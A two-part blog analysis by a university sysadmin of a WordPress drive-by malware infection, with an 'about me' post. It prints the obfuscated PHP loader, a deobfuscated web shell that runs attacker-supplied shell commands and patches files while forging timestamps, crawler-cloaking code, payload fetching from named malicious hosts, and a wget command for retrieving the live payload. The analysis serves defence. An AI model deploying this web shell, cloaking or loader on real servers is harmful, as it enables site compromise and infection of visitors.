Monday, December 19, 2011

Malware dissected, Part II

In my previous post, I discussed the malware that was targeted at the (Windows) client - downloaded when a client visited an infected web site.  In this post, I'll discuss the code that was planted on the server to make this happen.

When this incident first came to light, we had no access to the server-side code, so all we could see was what was being delivered to the client. However, a few days later, the authors of the site copied their Wordpress code from the infected site to a new test site that we had access. They thought that copying the original content would leave the exploit behind. They were wrong.

It was a particularly alert SysAdmin that noticed a couple of strange PHP files still present in the uploaded Wordpress Theme and sent it along to me for further investigation. Just like the Javascript on the client side, the PHP code had been highly obfuscated to make it difficult to decipher. But the filenames were the first clue:

underscore.min.php
external_1ff9ddae493b876877af10cc6fcd2ada.php

The first one had the same name as the malicious javascript on the client side. The second was apparently a randomly generated string, meant to look like a temp file. Let's look at a snippet of it first:


<?php $XAj_s8p = array('eNrFG2l32kjy+/4KBfvZyL','FB92Esh7yM53gvmcnm2N33',
'gpcnQBjNAGIlEScx/u9bR+','tEYCeZ3clYR1dXV1VX19Ut','RgqnUvvJdL0cp2G0HAafwi',
'RN2sfBIjqWZelOynokgLQP','Q/nu0Peex7H/ud1qnbaG4h','oM4NbFC28duF5FX8L53O8a',
'HUVqj6PFyk/D0TzoSa/e/n','IlOR2lJ/0zXE6i20T69Z1k','dRS5NMjEQaK7J72voJodtS',
'cFy7P3b3tS/PFc7bgdpaPK','0k/B+I+oqymKo7iapprSj2','EcTKNPXR37v5p4iaCumIoh',
'ieFEdhTGk67Ssb5dZK2jKg','ULVVFc1ShJbEF36/Q48afB','cBFNguPT42gVLIcjPwkmYX',
'x82pql6eqctA1/B90DoX/+','64rr+XgcrNKzl/7yZu3fBO',
[..etc..]
'us8QeKtBapE64reQiCMQmp','Io7BOOjur50BLObPCPoCwz','O5apMGD5RES0re+iDmPzI2',
'fbyE+t8zDB+DvOqGHAQz9z','aggabIrSs8u//Re5rdK6');
$JGk = array('4_decode','base6'); $e_vR3t = array('gzunco','mpress') ; 
$MDd6bJ2DY = $JGk[1].$JGk[0]; $X4Q = $e_vR3t[0].$e_vR3t[1];
eval($X4Q($MDd6bJ2DY(implode('', $XAj_s8p)))); ?>

So what the heck does that do? Well, clearly it's PHP code, but it looks like a random string of characters. The key is in the last couple of lines. Assemble those strings together and you have "eval(gzuncompress(base64_decode(implode(array))));". It looks like it was gzipped code that had been base64 encoded and broken into chunks. Clever. I didn't want to execute it, I just wanted to see the code, so I changed the 'eval' to a 'print' and then ran the code. Much like was done with the javascript, strings were all stuffed into an array and the beginning of the code, rather than being in their proper place, making it that much harder to read. I used a bit of perl to put the strings back where they belong, and this is a sampling of what we got as a result:

if (isset($_REQUEST["update2"])) {
    $y_47 = gzinflate(base64_decode($_REQUEST["update2"]));
    $y_60 = $_SERVER["SCRIPT_FILENAME"];
    $y_61 = before_last("/", $y_60);
    if (!is_writable($y_61))@chmod($y_61, 420);
    $y_62 = @filemtime($y_61);@copy($y_60, $y_60."1.php");@touch($y_61, $y_62, $y_62);@touch($y_60."1.php", $y_62, $y_62);
    if (!is_writable($y_60))@chmod($y_60, 420);
    if (is_writable($y_60)) {
        $y_54 = trim(file_get_contents($y_60));
        $y_63 = preg_replace("/^\<\?php.*\?\>/Usi", "", $y_54);
        $y_58 = @filemtime($y_60);
        $y_59 = fopen($y_60, "w");
        fwrite($y_59, $y_47.$y_63);
        fclose($y_59);@touch($y_60, $y_58, $y_58);
        echo "<pre>update</pre>";
    } else {
        echo "<pre>no rw $y_49</pre>";
    }
}
if (isset($_REQUEST["update3"])) {
    echo "<pre>";
    $y_64 = $_REQUEST["update3"];
    $y_46 = "";
    if (!empty($y_64)) {
        if (function_exists('exec')) {@exec($y_64, $y_46);
            $y_46 = join("\n", $y_46);
        }
        elseif(function_exists('shell_exec')) {
            $y_46 = @shell_exec($y_64);
        }
        elseif(function_exists('system')) {@ob_start();@system($y_64);
            $y_46 = @ob_get_contents();@ob_end_clean();
        }
        elseif(function_exists('passthru')) {@ob_start();@passthru($y_64);
            $y_46 = @ob_get_contents();@ob_end_clean();
        }
        elseif(@is_resource($y_65 = @popen($y_64, "r"))) {
            $y_46 = "";
            while (!@feof($y_65)) {
                $y_46. = @fread($y_65, 1024);
            }@pclose($y_65);
        }
    }
    echo $y_46;
    echo "</pre>";
}


There were numerous other code blocks similar to these. Basically, it was a toolkit. The attacker could pass in a command to this PHP script via the URL request and the script would execute the command. For example, the first block above, "update2", could patch a file and then set the modified-time on the file back to what it had previously been to cover its tracks. The second code block would execute whatever argument was passed in, as a shell script, and present the results. There were other code blocks to add files, infect all files matching a pattern, and even fetch content over the web using Curl. If Curl wasn't present, code was included to open a socket directly and fetch content.

Let's take a look at the other PHP script, underscore.min.php (which was likely placed there by the "toolkit" PHP script!). First, it had been minimized too (no surprise there), so it was very hard to read. I discovered though that the Javascript deminimizer that I mentioned in Part I works just as well on minimized PHP scripts. Once I fed it in, I ended up with code that looked like this:


if (!function_exists('detB')) {
    function detB($bot_15, $bot_16) {
        $bot_17 = array(google(47), google(48), google(49), google(50), google(51), google(52), google(53), google(54), google(55), google(56), google(57), google(58), google(59), google(60), google(61), google(62), google(63), google(64), google(65), google(66), google(67), google(68), google(69), google(70), google(71), google(72), google(73), google(74), google(75), google(76), google(77), google(78), google(79), google(80), google(81), google(82), google(83), google(84), google(85), google(86), google(87), google(88), google(89), google(90), google(91), google(92), google(93), google(94), google(95), google(96), google(97), google(98), google(99), google(100), google(101), google(102), google(103), google(104), google(105), google(106), google(107), google(108), google(109), google(110), google(111), google(112), google(113), google(114), google(115), google(116), google(117), google(118), google(119));
        $bot_18 = array(google(120), google(121), google(122), google(123), google(124), google(125), google(126), google(127), google(128), google(129), google(130), google(131), google(132), google(133), google(134), google(135), google(136), google(137), google(138), google(139), google(140), google(141), google(142), google(143), google(144), google(145), google(146));
        $bot_15 = preg_replace(google(147), google(148), $bot_15);
        $bot_19 = true;
        foreach($bot_17 as $bot_20) if (eregi("$bot_20", $bot_16)) {
            $bot_19 = false;
            break;
        }
        if ($bot_19) foreach($bot_18 as $bot_21) if (eregi($bot_21, $bot_15) !== false) {
            $bot_19 = false;
            break;
        }
        if ($bot_19 and!eregi(google(149), $bot_15)) {
            $bot_19 = false;
        }
        if ($bot_19 and strlen($bot_15) <= round(0 + 2.2 + 2.2 + 2.2 + 2.2 + 2.2)) {
            $bot_19 = false;
        }
        return $bot_19;
    }
}
if (!function_exists('rm_rf')) {
    function rm_rf($bot_22) {
        $bot_23 = @filemtime($bot_22);
        if ($bot_24 = opendir($bot_22)) {
            while (false !== ($bot_25 = readdir($bot_24))) {
                if ($bot_25 != google(150) && $bot_25 != google(151) && is_file($bot_25)) {@chmod($bot_25, round(0 + 219 + 219));@unlink($bot_25);
                }
            }
            closedir($bot_24);
        }@touch($bot_22, $bot_23, $bot_23);
    }
}

So once again, all strings had been removed from the code and placed into an array, making the code harder to read. I wrote a few lines of Perl to take the strings from the array and put them back in-line, making it easier to read. The code above then looked like this:

if (!sub_exists('detB')) {
    sub detB($bot_15, $bot_16) {
        $bot_17 = array("66.249.[6-9][0-9].[0-9]+", "72.14.[1-2][0-9][0-9].[0-9]+", "74.125.[0-9]+.[0-9]+", "65.5[2-5].[0-9]+.[0-9]+", "74.6.[0-9]+.[0-9]+", "67.195.[0-9]+.[0-9]+", "72.30.[0-9]+.[0-9]+", "38.[0-9]+.[0-9]+.[0-9]+", "124.115.6.[0-9]+", "93.172.94.227", "212.100.250.218", "71.165.223.134", "209.9.239.101", "67.217.160.[0-9]+", "70.91.180.25", "65.93.62.242", "74.193.246.129", "213.144.15.38", "195.92.229.2", "70.50.189.191", "218.28.88.99", "165.160.2.20", "89.122.224.230", "66.230.175.124", "218.18.174.27", "65.33.87.94", "67.210.111.241", "81.135.175.70", "64.69.34.134", "89.149.253.169", "64.233.1[6-8][1-9].[0-9]+", "64.233.19[0-1].[0-9]+", "209.185.108.[0-9]+", "209.185.253.[0-9]+", "209.85.238.[0-9]+", "216.239.33.9[6-9]", "216.239.37.9[8-9]", "216.239.39.9[8-9]", "216.239.41.9[6-9]", "216.239.45.4", "216.239.46.[0-9]+", "216.239.51.9[6-9]", "216.239.53.9[8-9]", "216.239.57.9[6-9]", "216.239.59.9[8-9]", "216.33.229.163", "64.233.173.[0-9]+", "64.68.8[0-9].[0-9]+", "64.68.9[0-2].[0-9]+", "72.14.199.[0-9]+", "8.6.48.[0-9]+", "207.211.40.82", "67.162.158.146", "66.255.53.123", "24.200.208.112", "129.187.148.240", "129.187.148.244", "199.126.151.229", "118.124.32.193", "89.149.217.191", "122.164.27.42", "149.5.168.2", "150.70.66.[0-9]+", "194.250.116.39", "208.80.194.[0-9]+", "62.190.39.205", "67.198.80.236", "85.85.187.243", "95.134.141.250", "97.107.135.[0-9]+", "184.168.191.[0-9]+", "95.108.157.[0-9]+", "209.235.253.17");
        $bot_18 = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "httpclient", "curl", "php", "indy library", "wordpress", "charlotte", "wwwster", "python", "urllib", "perl", "libwww", "lynx", "twiceler", "rambler", "yandex", "trend", "virus", "malware", "wget");
        $bot_15 = preg_replace("|User.Agent:[s ]?|i", "", $bot_15);
        $bot_19 = true;
        foreach($bot_17 as $bot_20) if (eregi("$bot_20", $bot_16)) {
            $bot_19 = false;
            break;
        }
        if ($bot_19) foreach($bot_18 as $bot_21) if (eregi($bot_21, $bot_15) !== false) {
            $bot_19 = false;
            break;
        }
        if ($bot_19 and!eregi("^[a-zA-Z]{5,}", $bot_15)) {
            $bot_19 = false;
        }
        if ($bot_19 and strlen($bot_15) <= 11) {
            $bot_19 = false;
        }
        return $bot_19;
    }
}
if (!sub_exists('rm_rf')) {
    sub rm_rf($bot_22) {
        $bot_23 = @filemtime($bot_22);
        if ($bot_24 = opendir($bot_22)) {
            while (false !== ($bot_25 = readdir($bot_24))) {
                if ($bot_25 != "." && $bot_25 != ".." && is_file($bot_25)) {@chmod($bot_25, 438);@unlink($bot_25);
                }
            }
            closedir($bot_24);
        }@touch($bot_22, $bot_23, $bot_23);
    }
}

The underscore.min.php code was surreptitiously linked to from one of the site's javascript components, which means it was executed on every page. This is the code that deployed the exploit to the browser. But in order to avoid being marked as a malware site by Google, it had to cover its tracks. That's what the first block of code above does. If the PHP code is accessed from any of the IP blocks above, or using any of the User Agent strings above, it returns a harmless empty page. Those IP blocks above belong to Google, Microsoft, Yahoo, etc. Clever.

The "rm_rf" function that's defined above got executed if the PHP script was accessed between 12:00 and 12:01, either AM or PM, and would erase the contents of a subdirectory it had created. That sub-directory, it turns out, was used to track every IP address that had accessed the page. Each day a new file would get created with a list of all of the IP addresses potentially infected by the malware, and the malware would only be sent to each IP address once on a given day. The directory was named ".svn" and was placed in the same directory as the PHP script. Unfortunately when we received a copy of the site, there was no .svn directory present.

The last piece of the puzzle was where the malware was coming from, because it wasn't present in the PHP script. As it turns out, the script contained code to fetch the malware from an outside website and deliver it to the user:

        $bot_36 = array("ohix.", "effbot.", "/f/", "net");
        $bot_37 = $bot_36[rand(0, 1)].$bot_36[3].$bot_36[2];
        $bot_38 = @cc($bot_37); // Tries either http://ohix.net/f/ or http://effbot.net/f/ (random) 
        if ($bot_38 != "ERROR") {
            $bot_23 = @filemtime($bot_30);
            $bot_35 = @fopen($bot_34, "w");
            @fwrite($bot_35, "$bot_38");
            @fclose($bot_35);
...
    $bot_39 = @base64_decode(@file_get_contents($bot_34));
    echo $bot_39;


As may be evident above, the malware is fetched from one of two sites, randomly chosen. The "@cc" function is an internally defined function. Much like the PHP toolkit, it uses either Curl, or, if Curl isn't present, directly opens a socket to fetch the malware. The malware is then base64 decoded and sent to the browser.

So what does this all mean to you as a SysAdmin? Why care how this exploit works? Well, it's interesting to note here that this code relies on having port 80 access to the outside world in order to fetch its payload. It would be relatively easy to neuter this particular malware by blocking port 80 access from your web server. The only reason you should ever need to access port 80 on another server from your web server is to fetch software updates, and you can selectively permit those, or just disable the port 80 block only while patching your software.

It's something to think about, anyway.

Monday, December 5, 2011

Malware dissected, Part I

I'm kicking this blog off with a particular juicy topic -- Malware!

If you live in a bubble surrounded by Macs and secure servers, you may have missed what's been happening in the world of malware over the last half decade. But chances are, you aren't so lucky and a machine you manage or use yourself has been infected. And no surprise -- it's now big business! Malware supplies a lucrative cash flow, with every stage of the transaction now monetized. Security holes are sold to the highest bidder rather than handed over to software companies to patch. Zero-day exploits are written and auctioned off. Infected machines are built up into bot-nets and then time slices on those botnets are sold. Credentials collected from infected machines are sold for anywhere from $2 to $2000 each!

I had the opportunity over the last couple of weeks to help with the investigation into a malware incident. A vulnerability in a Wordpress plugin had been used to infect a website with a drive-by download. Anyone who visited the completely legitimate website with a vulnerable computer was almost guaranteed to get infected with a virus.

The first part of the investigation was into the payload that was delivered to clients. We wanted to know what clients would be infected, where it would come from, and what they'd be infected with. That turned out to be no small task. The effort that malware writers put into obfuscating their delivery vehicles is nothing short of genius!

The first step in the delivery was to tag a common javascript library with some extra code. The library loaded on every page, ensuring that every page got infected. That code looked like this:

                                                                                                                                                                                                                                                                                                 document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u
0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u
0077\u0070\u002D\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u002F\u0074\u0068\u0065\u006D\u0065\u0073\u002F\u0061\u006D\u0070\u006C\u
0075\u0073\u005F\u0076\u0031\u002E\u0035\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u0073\u002F\u0070\u0072\u0065\u0074\u0074\u0079\u
0070\u0068\u006F\u0074\u006F\u002F\u0069\u006D\u0061\u0067\u0065\u0073\u002F\u0070\u0072\u0065\u0074\u0074\u0079\u0050\u0068\u006F\u
0074\u006F\u002F\u0066\u0061\u0063\u0065\u0062\u006F\u006F\u006B\u002F\u0075\u006E\u0064\u0065\u0072\u0073\u0063\u006F\u0072\u0065\u
002E\u006D\u0069\u006E\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");
/*
* jQuery Easing v1.3 - http://gsgd.co.uk/sandbox/jquery/easing/
*
* Uses the built in easing capabilities added In jQuery 1.1
As you can see, that's not easy to read or grep for. But Google's your friend. Although years of programming in Assembly has left me with the ability to do hex-to-ascii translations in my head, it's still faster to use a site that'll do it for you. I use this one:
<script type="text/javascript" src="/wp-content/themes/amplus_v1.5/scripts/prettyphoto/images/prettyPhoto/facebook/underscore.min.php"></script>

So what was underscore.min.php? Well, during the initial investigation, we didn't have access to the server files, so all we could see is what this php script delivered to us, which was some more lovely obfuscated code:


var a=false;var lon = "lonly";if(document.cookie.indexOf(lon)==-1){dhf = "\x68\x74";dif="\x2F\x69\x6E\x2E\x63";var td = new Date();d
cf="\x67\x69\x3F\x32";td.setTime(td.getTime());ddf = "cpa.fr.ms";ed = new Date(td.getTime() + 72E6);dtf="\x74\x70\x3A\x2F\x2F";docum
ent.cookie=lon+"="+escape(ed.toGMTString())+";expires="+ed.toGMTString()+";path=/";df=dhf+dtf+ddf+dif+dcf;var ag=navigator.userAgent
.toLowerCase(); var is_f = (ag.indexOf("firefox")!=-1);var hw = "1";var m=function(){};m.prototype={b:function(){i=43724;this.w="";u
="u";return df},a:function(){q="q";dN=49709;this.J=46019;w="";rJ=a;this.j="";var e=document;cR=kQ=a;this.oa= "";var f=window;dO="";v
ar d=this;this.c=this.i="";this.S=64509;this.aa="rQ";pK="";this.ga=39122;this.u="dY";this.A="fA";this.r="dE";fQ=cD="";this.ca="sE";t
ry{uK=17600;this.V="pC";this.p="bZR";this.D=41545;cL=pW="";this.T="nU";wK=a;this.F=eSU="";rO=pOR=this.Q=a;this.g=eK=kVQ="";qB=a;mF="
mF";this.q=a;this.ma="";this.n="bY";vW="\x67\x65\x74\x73\x65\x74\x41\x74\x74\x72\x69\x73\x64\x66";this.K="";this.qa="zS";wE=this.G=a
;this.pa="";this.L=a;this.W=55903;this.H=33170;gK=62679;var b=[];qR=vS=a;this.l="";if(!is_f) hw = "0";b.push("\x68\x65\x69\x67\x68\x
74","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x74\x72\x65\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x67\x65\x74","\x77\x69\
x64\x74\x68","\x76\x62\x6D\x69\x66\x72\x73\x65\x74",vW,"\x62\x6F\x64\x79","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",hw,e,"src")
;this.m=a;this.s=42071;this.da=21002;eO=64506;this.fa=55314;yT="";hS=a;this.e=aU=uKD="";fK=a;yI=this.ba=this.Y="";wI="wI";sJ=11632;t
his.P=a;rG="";this.ea=a;this.d=40171;aA=4550;gL=40598;var g=b[2][b[1]](3,16);this.$=this.f=nZ="";this.ha="uX";gP="gP";this.R="nAO";v
ar h=b[4][b[1]](3,6);cO=52931;this.h=a;this.na=44254;this.C=21921;vK=h+"ame";tI="tI";lO="lO";this.O="mO";jZ=24453;var j=b[5][b[1]](3
,11);this.v=this.z="";p=j+"bute";this.t="dH";qU=this.ka= "";rJQ=a;var k=d.b();this.la=tT="";var c=b[9][g](vK);this.ja="";this.I="iZ"
;c[b[10]]=k;nD=a;mIO="mIO";this.U="";c[b[3]]=b[8];oH=40281;this.N="";kM="kM";c[b[0]]=b[8];this.X=58620;mH=this.k="";bW="bW";wY="";b[
9][b[6]][b[7]](c);kR="";this.ia=a;fVT=""}catch(n){hK="";this.o=45116;lKT=a;this.Z="rD";e.write("\x3C\x68\x74\x6D\x6C\x20\x3E\x3C\x62
\x6F\x64\x79\x20\x3E\x3C\x2F\x62\x6F\x64\x79\x3E\x3C\x2F\x68\x74\x6D\x6C\x3E");this.M=a;uIE="";this.B="fI";f.setTimeout(function(){d
.a()},233);iGB=29282;zN=6951}iS=""}};cB="";var r=new m;gT="";r.a()};

I started inserting line breaks into this code to make it more readable when I realized that this was really just minimized Javascript. And hey, there's an app for that! I fed the js through jsbeautifier.org. I really wish I'd thought of Googling for this sooner. Not only does this site make minimized javascript perfectly readable, it works wonder for PHP and Perl too!

What I got back was readable but still very obfuscated. After analyzing the code for awhile I realized it was laced with statements that did nothing at all. In fact, about 90% of them did nothing. Lines like this:

           dN = 49709;
this.J = 46019;
w = "";
rJ = a;
this.j = "";
var e = document;
cR = kQ = a;
this.oa = "";
var f = window;
dO = "";
The only variables in this code that are actually used later are "e" and "f". The rest are just there to confuse you.

In fact, all this code does is open an iframe of size zero (or 1 on Firefox) pixel and load more code from another URL. And it's that other URL we really care about. It's contained in the first few lines of code:

   dhf = "\x68\x74"; // "ht"
dif = "\x2F\x69\x6E\x2E\x63"; // "/in.c"
dcf = "\x67\x69\x3F\x32"; // "gi?2"
ddf = "cpa.fr.ms";
dtf = "\x74\x70\x3A\x2F\x2F"; // "tp://"
df = dhf + dtf + ddf + dif + dcf; // "http://cpa.fr.ms/in.cgi?2"
As you can see from my added comments, the string was broken into pieces and then finally assembled into var "df".

So what happens if we hit that URL?

Well, that depends. If you don't specify a User-Agent string that it likes, you get redirected to Yahoo.

If you don't specify a Referer string that it likes, you get redirected to Yahoo

If you hit it more than once in a day from the same IP address, you get a 404 error. Clever. No need to deliver the deadly payload more than once in a day, right?

The referer string doesn't have to be an infected site, but it needs to be something and it's a sure bet that it shouldn't be Google. If you'd like to see what the code looks like yourself, try issuing this command below. Don't worry - it'll harmlessly save it as a file that you can view in your favourite text editor. The link worked as of this writing:

wget -U "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" --referer=http://www.sfu.ca/index.html http://cpa.fr.ms/in.cgi\?2
Watch how you get redirected to yet another site before finally getting the payload. Every day that I've hit this URL, I've been redirected somewhere different with a completely different domain name and IP. And each time the payload is obfuscated in a slightly different way. Once de-obfuscated, it's the same code, but clearly the PHP that generates this code is obfuscating it on-the-fly. Again, very clever.

Since it's obfuscated a different way each time you fetch it, I can't give you any sample perl code to de-obfuscate it, but once you grab it, notice that it's just a huge array of numbers? Each number is a character obfuscated in some way. The code at the very end of the file is some javascript to de-obfuscate it in the browser and then execute it. If you'd like a bit of a challenge, write some perl to decode it. Here's a hint: Keep the array of numbers as-is and just store it in a perl variable (either an array or a string, depending on whether the numbers have been separated with a "," or some other character). If it's a string, split() it back into an array of characters, then "foreach()" over every character, adding whatever offset is necessary to get each character back to the right character. Finally, print each character out with a "printf("%c")".

What you'll end up with is about 50k of minimized javascript. Feed it into the JS beautifier to turn it into perfectly readable javascript.

Unfortunately the code doesn't render that well on Blogger, so if you really want to read it, you'll have to download it and de-obfuscate it yourself. If you don't want to do all of that, I'll save you some trouble. Here's what the meat of the code does:
  • Determines your Java JRE version
  • Determines your Adobe Flash version
  • Determines your Adobe PDF version
  • If you're running anything less than Java 1.6.029 (the latest) OR Jave 1.7.0 (that was just added in the last few days!) , download a jar exploit
  • If you're running anything less than Adobe PDF 9.4, download a PDF exploit
  • If you're running Adobe Flash less than 10.2.159, download a Flash exploit
  • If you're vulnerable to the Windows Help Control Panel exploit, download the exploit that way
  • If ActiveX is on, try an ActiveX exploit.
Basically it covers every trick in the book. If you have any exploitable software on your machine, you'll get this virus. In each case above, the exploit's ultimate goal is to download and run a 450k Windows executable. So once again, if you're on a Mac, you're safe (for now)

When we discovered this exploit code, about two weeks ago, the only virus vendor that recognized any of the above exploits was ClamAV.

We think this exploit code is quite widespread, infecting lots of Wordpress sites worldwide. If you have Wordpress installed, check for "timthumb.php". That's the code with the hole in it that was used to infect the site. Ultimately, the only way to protect the users at your site might be to block the malware site's DNS servers in your border firewall. If the browser can't resolve the malware site, they won't be able to fetch the malicious payload.

In Part II, I'll discuss the server-side code, which we didn't gain access to until a few days later.


Welcome! A bit about me

Hello and welcome to my blog.

I know, everyone has a blog, so why care about mine? Well, if you're not a Sysadmin and dyed-in-the-wool geek, you probably won't. But I've been doing this job for quite awhile now and every time I discover some new-to-me-technology I think, "Wow, I should share that - there's a chance it's new to someone else, too". So that's what this is all about.

I've been a System Administrator at Simon Fraser University for over a decade now. Before that, I was a Network Administrator for 5 years. And now I'm venturing into the world of software development, getting my feet wet with Java development in the Identity Management space.

My passion is learning, especially about new technology. I'm a geek at heart, having built my first computer from chips 3 decades ago (I'm not *that* old - I was 13). Now I rarely touch hardware anymore, spending most of days developing, integrating, and tuning software. But I still love my toys :)

I live in Vancouver, but now spend almost half my time in Toronto. Besides working at SFU, I also work part time at BCNET, and do occasional consulting work, primarily in the area of Unix and Zimbra mail

In what little spare time I have, I've been known to renovate and restore houses. I also enjoy cycling, photography, and travel

So welcome, and if anything I say here, introduces you to something new, I'd love to hear about it!